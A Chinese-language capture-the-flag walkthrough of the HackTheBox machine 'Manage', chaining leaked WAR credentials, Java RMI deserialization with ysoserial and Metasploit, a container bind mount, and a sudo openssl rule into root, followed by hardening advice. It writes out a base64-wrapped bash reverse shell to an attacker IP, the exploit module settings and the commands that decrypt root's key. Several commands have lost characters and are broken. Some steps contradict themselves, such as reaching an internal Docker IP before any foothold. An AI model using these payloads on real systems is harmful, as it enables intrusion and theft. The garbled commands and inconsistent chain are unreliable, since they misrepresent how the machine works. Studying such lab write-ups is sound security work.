hackthebox Manage 这台靶机我前后复现了三遍才勉强把整条攻击链讲清楚。它不是那种上来就考某个 CVE 的机器而是把 Java RMI 攻击 和 /etc/sudoers 规则解密提权 两条经典路径串在一起——你在边界上拿到的是 Web 应用泄露出来的数据库凭据真正进入系统靠的却是开放的 JMX/RMI 管理端口最后拿到低权限 shell 之后还要从 sudoers 配置里读出一条权限异常的 openssl 规则用它去解密管理员留下的密钥文件完成 root 提权。对刚接触 HTB、想系统学习 Java 反序列化和 Linux 提权的人来说这一台的价值比很多所谓“难题”都高因为它的每一步都对应生产环境中真实存在的配置失误。我尽量把自己复现时的每一步思考、每条命令、每个踩坑点都写清楚涉及的工具和手法都在授权靶场环境中完成不针对任何未经授权的真实目标。1. 靶机信息收集与攻击面梳理1.1 从Web入口发现关键资产拿到目标 IP 后第一件事不是瞎猜漏洞而是把端口和指纹摸清楚。我习惯直接跑一次全端口扫描不要嫌慢nmap -sCV -p- -T4 -oN manage_full.nmap target-ip这台机器的常规端口大概是 Web、SSH 和一个数据库Web 上跑着一个类似 Maven 仓库的管理后台首页某个角落提供了可下载的 WAR 备份包。做 HTB 机器或者真实授权项目时凡是看到这类“可下载的归档文件”一定不能跳过去。把 WAR 包下载后直接 unzip 解压重点看WEB-INF/classes下的配置文件和META-INF里的构建信息。我在里面翻到了application.properties里面写了数据库地址、用户名和明文密码。这一类明文凭据在真实环境里太常见了尤其是开发环境直接打包进构建产物的情况。拿到数据库密码后连接目标 MySQL导出备份基本就把 Web 这条线的资料收全了。需要注意Web 线在这里只是“信息收集”的起点并不直接打通到 shell这也是很多人卡住的地方你费了半天劲拿到的密码只给了你登录某个后台或数据库的权限并没有立刻变成命令执行。如果这时候选择继续死磕 Web 的数据库后台很容易陷进去真正的入口其实藏在接下来的内网探测里。1.2 为什么攻击面最终收敛到Java RMIWeb 和数据库啃完之后我又对目标内网做了横向探测。这里最值得关注的发现是目标并不是一台简单的单机它的 Web 容器跑在一个 Docker 环境里内部还有一个桥接网络的 IP类似 172.17.0.2上面开了两个端口8080 对应一个 Java 管理后台另一个就是 1099 的 JAVA RMI 服务。生产环境遇到 1099 端口很多渗透测试人员会有肌肉记忆这十有八九是 JMX 通过 RMI 暴露出来了。Spring Boot 项目如果开启了spring.jmx.enabledtrue并且管理端点没做认证远程访问者就能通过 RMI 协议连接 MBean 服务。这时候你面对的不只是一个端口而是一条潜在的反序列化利用链。对攻击者来说这是“管理便利”变成“远程代码执行”的典型场景对防御者来说这个端口如果出现在边界或者内网基本等于告诉所有人这里有 Java 应用开着远程管理而且没有锁门。攻击面收敛下来就两条Web 线负责喂信息Java RMI 线负责拿 shell。后面的所有操作都围绕“如何把 RMI 端口的未授权访问变成实际回连”展开。这里提前说一句判断一个 1099 端口是不是 JMX不要只看服务名最好用工具和手工协议探测确认因为 RMI 既可以承载 JMX也可以承载其他远程调用逻辑误判会浪费大量时间。2. Java RMI攻击从协议原理到代码执行2.1 JMX与RMI的暴露方式很多初学者混淆 JMX 和 RMI觉得反序列化就是直接发一个 payload 到 1099 端口就行实际操作里远没有这么简单。RMI 协议本身包含两个角色一个是 RMI Registry默认监听 1099负责登记和查询远程对象另一个是远程对象实际监听的端口通常是随机高位端口。你直接向 1099 发反序列化 payload能不能成功要看目标的 Classpath 里有没有可以被打通的 gadget 链还要看触发路径在哪。JMX 是 Java 管理扩展它把运行中的 JVM 暴露成 MBean管理员通过 JConsole、JVisualVM 等工具连接后可以读系统信息、执行管理操作。问题在于很多应用开启了 JMX 但没有打开认证和 SSL或者只设置了空密码。在靶机里我用 nmap 和 Metasploit 的 java_rmi_server 扫描模块确认目标 1099 端口确实是一个可交互的 RMI 端点并且没有认证。这一步的确定很关键因为后续利用方式完全取决于“这个 RMI 是纯 Registry 还是 JMX Connector”。识别手段我可以再补一个小的可以看 nmap 脚本结果里是否出现 java-rmi、jmx 相关字样也可以直接 nc 连上去看协议握手返回。RMI 服务握手会返回协议版本号和一个 hash虽然不会直接告诉你 JMX 还是别的但能确认这个端口确实活着。然后再用特定模块探测就能拿到 MBean 列表看到 javax.management 等类名基本可以断定是 JMX。2.2 反序列化利用的完整操作过程我复现时采用的是最经典的路径利用 JMX 端点未授权访问向目标发送一个恶意序列化对象目标在反序列化时触发 gadget 链执行我们预设的命令最终反弹一个 shell。这里用到的工具很常规无非是 ysoserial、mjet 或者 Metasploit 的 java_rmi_server 模块但“常规”不等于“无脑”每一步都有值得记录的坑。先做准备工作攻击机上监听一个反弹端口比如 4444。然后用 ysoserial 生成 payload因为我当时的判断是目标环境存在 CommonsCollections 相关库所以选 CC 链。命令里要特别注意直接写bash -i /dev/tcp/...这种形式在 Java 反序列化场景里经常因为特殊字符解析出问题稳妥一点是先把反弹命令做 base64再用 bash -c 执行。echo bash -i /dev/tcp/10.10.14.X/4444 01 | base64 java -jar ysoserial.jar CommonsCollections5 bash -c {echo,base64字符串}|{base64,-d}|bash payload.binpayload 生成后选择自己顺手的利用工具。用 Metasploit 的模块时最关键的是理解它其实是一个“中间人”机制模块在自己的 SRVHOST 上创建恶意的 RMI 服务然后让目标来连接这个服务目标的 RMI 客户端在反序列化我们返回的远程对象时触发 payload。所以 SRVHOST 和 SRVPORT 必须填攻击机互联网可达的地址同时要保证目标能反向访问到。use exploit/multi/misc/java_rmi_server set RHOSTS 172.17.0.2 set RPORT 1099 set SRVHOST 10.10.14.X set SRVPORT 1098 set PAYLOAD java/shell_reverse_tcp set LHOST 10.10.14.X set LPORT 4444 run模块跑起来之后攻击机会收到来自目标发起的连接随后触发反序列化返回一个运行在目标 Java 进程里的 shell。这里有个关键经验如果你只看到模块提示“正在等待目标连接”但一直没有 session先别急着换 payload先用 tcpdump 在攻击机上看有没有来自目标 IP 的报文。很多时候不是 gadget 不对而是 SRVHOST 填错或者防火墙把回连请求拦了导致整条利用链根本没走完。2.3 进入容器后的横向视野拿到 shell 后我第一件事就是确认自己在哪。hostname、ip addr、/proc/1/cgroup三连基本能定位如果主机名是一串容器 ID或者 /proc/1/cgroup 里带了 docker 关键字说明已经打进了一个容器。这台机器就是这样shell 下来直接落在了一个 Java 应用的容器里IP 是 172.17.0.2和宿主机不在同一网络命名空间。容器里能做的事很多但优先级最高的是找挂载。管理员经常为了方便把宿主机目录直接 bind mount 进容器。挨个看 /opt、/mnt、/home 之后我发现容器里挂载了宿主机的一个 backup 目录。因为容器内进程的用户 ID 恰好和宿主机上 backup 用户的 UID 一致所以我可以直接读写这个挂载目录里的文件这在容器场景里是一个非常典型的隔离失效问题。顺着挂载目录翻找到了 backup 用户自己的 SSH 私钥和一堆加密的备份文件。到这里边界突破的收益开始兑现通过容器里的 RMI 漏洞拿到代码执行再通过容器挂载和 UID 映射拿到了宿主机上普通用户的 SSH 凭证。接下来要做的就是从普通用户变成 root也就是标题里“/etc/sudoers 规则解密提权”登场的时候。3. /etc/sudoers规则解密提权全流程3.1 “解密”提权到底在解什么先澄清一个容易被误解的点标题里的“解密提权”不是说要去破解 root 密码也不是去炸 sudo 口令而是利用 /etc/sudoers 里一条配置不当的规则让一个低权限用户以 root 身份去运行某个负责“解密”的命令从而读取到 root 才能看到的机密文件。这里“解密”的对象通常是加密后的 SSH 私钥、数据库口令备份或者某个应用密钥。拿到 backup 私钥后我用它 SSH 登录宿主机上的 backup 用户然后执行sudo -l查看当前用户被授权的命令。输出里出现了类似这样的规则User backup may run the following commands on manage: (root) NOPASSWD: /usr/bin/openssl这条规则只限制命令本身没有限制参数和读取/写入路径。也就是说backup 可以以 root 身份执行任意 openssl 指令包括读取宿主机任意文件、生成密钥、甚至用 openssl 反向解析文件内容。对于提权来说这已经约等于一个没有锁的 root 门。此时 /etc/sudoers 的意义不再是“限制”而是“放行”。需要强调的是sudoers 出现这类规则往往有业务背景管理员想要让 backup 用户每天以 root 身份运行 openssl 解密某个备份文件图省事就写成了“允许执行 /usr/bin/openssl”。他们没有意识到这个二进制工具的参数能力大得可怕一个支持读写文件、加解密、网络连接的万能工具在被 sudo 提升到 root 之后几乎可以做任何事。3.2 从sudo权限到root密钥接下来就是实操。我在宿主机上找到了一个名为 id_rsa.enc 的加密私钥文件从文件名和之前的备份记录来看这是 root 用户的 SSH 私钥打包备份前被用对称加密算法保护起来。在 sudo openssl 规则下backup 可以像 root 一样读取并解密它。解密命令没有固定的标准写法必须根据加密时用的算法和参数推断我先看文件的头几个字节和加密脚本里的字段确定是 AES-256-CBC 加 salt于是执行sudo openssl enc -d -aes-256-cbc -pbkdf2 -md sha256 -salt \ -in /opt/backup/id_rsa.enc -out /tmp/root_id_rsa执行后会交互式询问密码这个密码同样可以从管理员留下的备份脚本、注释或者已获取的配置组合里推出来。输入正确口令后得到 root 私钥的明文内容立刻保存并设置权限chmod 600 /tmp/root_id_rsa ssh -i /tmp/root_id_rsa root127.0.0.1这条授信链到这里就闭环了Java RMI 反序列化给了容器代码执行容器挂载给了 backup 凭据sudoers 的 openssl 规则给了 root 私钥SSH 登录 root。整个过程没有碰任何“暴力破解”或“内核漏洞”依赖的全部是配置层的问题。这就是这类靶机最值得反复琢磨的地方真实攻防里高价值目标往往就是被这样一层一层“合理配置”组合起来的。为什么强调“交互式询问密码”因为如果管理员没有设置 passphrase私钥文件就算加密也可能没有实际意义而这里明显是刻意加密的代表该密码以某种形式保存在系统里。我在翻文件时重点关注 shell 历史、脚本、README、cron 任务这种“密钥提示”通常就藏在管理员自己写的备份说明里比盲目爆破可靠得多。3.3 sudoers规则的风险本质sudoers 不是用来“限制 root 权限”的而是用来“精确分配最小权限”的。真正的风险不在于“允许了某个用户使用 sudo”而在于“允许的命令带有了不受约束的参数”。像 openssl、python、vim、tar、find、git 这类工具一旦以 root 身份运行且参数不受限制基本等于直接把 shell 交出去。我做过不少配置审计总结过几条特别容易出问题的 sudoers 写法只写命令名不写参数例如/usr/bin/openssl而不是用-in /指定路径做参数白名单。允许sudoedit且没有限定可编辑文件范围。使用通配符且通配符能匹配任意路径。设置NOPASSWD却没有配套强制审计。允许 tar、git 这类有子命令和外部调用能力的工具。验证 sudo 提权时我有个习惯sudo -l看到一个命令第一反应不是“能不能直接跑 bash”而是看这个命令有没有“读写文件、执行外部程序、生成内容”的能力。openssl 三门全占能读任意文件、能写任意文件、能执行复杂参数逻辑所以它出现在 sudoers 里就必须用最大恶意去审视。换到防御视角修复方式也很明确不要直接授权 openssl 这类万能工具如果有解密需求应该封装成一个固定脚本脚本内部严格限制输入路径、算法和输出目录再把这个脚本放入 sudoers。4. 常见问题排查与加固记录4.1 Java RMI利用失败的一线排查整个复现过程中Java RMI 这个环节是最容易出问题的地方我把踩过的坑和排查思路整理成一张表现象可能原因排查方向模块提示等待连接但无 sessionSRVHOST 填错或目标无法反向访问攻击机tcpdump 确认目标是否请求 SRVPORTpayload 返回但进程崩溃目标 Classpath 用的版本和 gadget 不匹配换不同 CommonsCollections 版本或改 JRMPListener连接 1099 正常但没有 MBean 列表目标是纯 RMI Registry不是 JMX Connector用 java_rmi_server 模块确认协议类型反弹 shell 拿到后秒断目标 Java 进程安全策略或非交互环境用生成的独立反向连接或绑定型 shell我想特别说一个细节很多人在第一步就卡住是因为不理解 SRVHOST 和 LHOST 是两回事。在 java_rmi_server 利用链里模块自己扮演的恶意 RMI 服务才是真正重要的角色SRVHOST 必须用攻击机的实际地址而不是内网网卡或者 localhost如果目标和攻击机之间存在 NAT 或路由限制还要提前测试目标能不能访问这段地址。另外ysoserial 生成命令时如果把 bash 命令直接塞进 payload常会遇到引号转义和“Command execution failed”这类报错。命令行里那些分号、管道符在 Java 反序列化的 command 字段里非常容易被截断。建议任何反弹命令都先 base64 编码再用 bash -c 包一层这个方法在实际授权测试里帮我把成功率提高了很多。4.2 容器与sudo提权中的经典坑容器突破后提权最容易踩的坑就是“以为自己是 root其实只是容器内 root”。我这次拿到的 shell 在容器里虽然有较高权限但不能直接对宿主机做操作所有敏感操作都必须通过宿主机挂载目录和凭据间接完成。这里有一个非常容易判断错的点容器里 ls 挂载目录看到的是 root 拥有的文件不代表容器进程能读真正决定权限的是 UID 映射。所以拿到任何文件先id一下确认当前 UID再看文件属主不要凭直觉猜。sudo 提权阶段openssl 解密私钥之后还有一个非常隐蔽的坑私钥文件权限。SSH 对私钥权限很严格如果解出来的文件是 644即使拿到 root 私钥也连不上系统会直接拒绝。我习惯在 ssh 之前先chmod 600并且最好把私钥临时放到一个普通用户可读的路径避免权限过高或过低带来的歧义。还有一点是做 openssl 解密时加密参数的组合比密码本身更折磨人。常见的是 AES-256-CBC pbkdf2 sha256但有些老备份脚本用的是 MD5 派生密钥比如-md md5如果不匹配会报 bad decrypt 或者解出一堆乱码。多试几组参数是正常的但最高效的办法是找到原始加密脚本直接复用它的参数完全不用猜。4.3 面向防御侧的攻击入口与加固清单这台机器的价值不能只停留在“怎么打”更要转化成“怎么防”。我把攻击链拆成三层每一层都对应明确的加固措施攻击入口风险根源加固方案Web 下载的 WAR 包构建产物里带明文数据库密码生产包与配置分离密码放入密钥管理服务禁止把配置打进归档1099 JMX/RMI 端口未认证、未加密、绑定到非本地地址关闭非必要 JMX或者开启 SSL 与密码认证并用防火墙限制来源容器挂载宿主机目录bind mount UID 共享固定容器内 UID挂载只读不用容器跑高权限任务/etc/sudoers 开放 openssl命令参数未白名单化用固定包装脚本替代万能命令限制输入输出路径定期审计 sudo -l单独强调一条只要一个服务能被远程管理就必须假设它会被远程攻击者看到。JMX 这类管理协议在生产环境里最常见的错误就是“地址只绑定内网就安全了”实际上内网同样有横向移动1099 一旦被发现配合未授权访问就是一条稳定的进内网通道。如果实在要用 JMX最好也附加 TLS 和强认证而不是裸奔一个端口出来。sudoers 的审计也一样。我建议定期对线上所有sudo -l输出做一次人工复核重点搜索 openssl、python、perl、tar、vim、git、find 这类关键字发现一个就要求业务方说明用途并给出参数级白名单。规则宁可写得啰嗦也不要写成一个进化过度的“万能钥匙”。这台 Manage 我复现了三遍每一遍都会在同样的节点上发现新的细节Java RMI 攻击不是玄学它本质上是“远程管理协议 不安全反序列化”的组合拳/etc/sudoers 的 openssl 规则也不是什么特殊漏洞而是最小权限原则长期缺位后的必然结果。打靶机的意义在于每一个看起来孤立的错误配置在真实网络里都会以类似方式串成一条完整的攻击链。我自己的经验是遇到一台机器别急着找什么“大招”先把攻击面一条条摸清楚、把工具行为吃透比背一百个 exploit 可靠得多。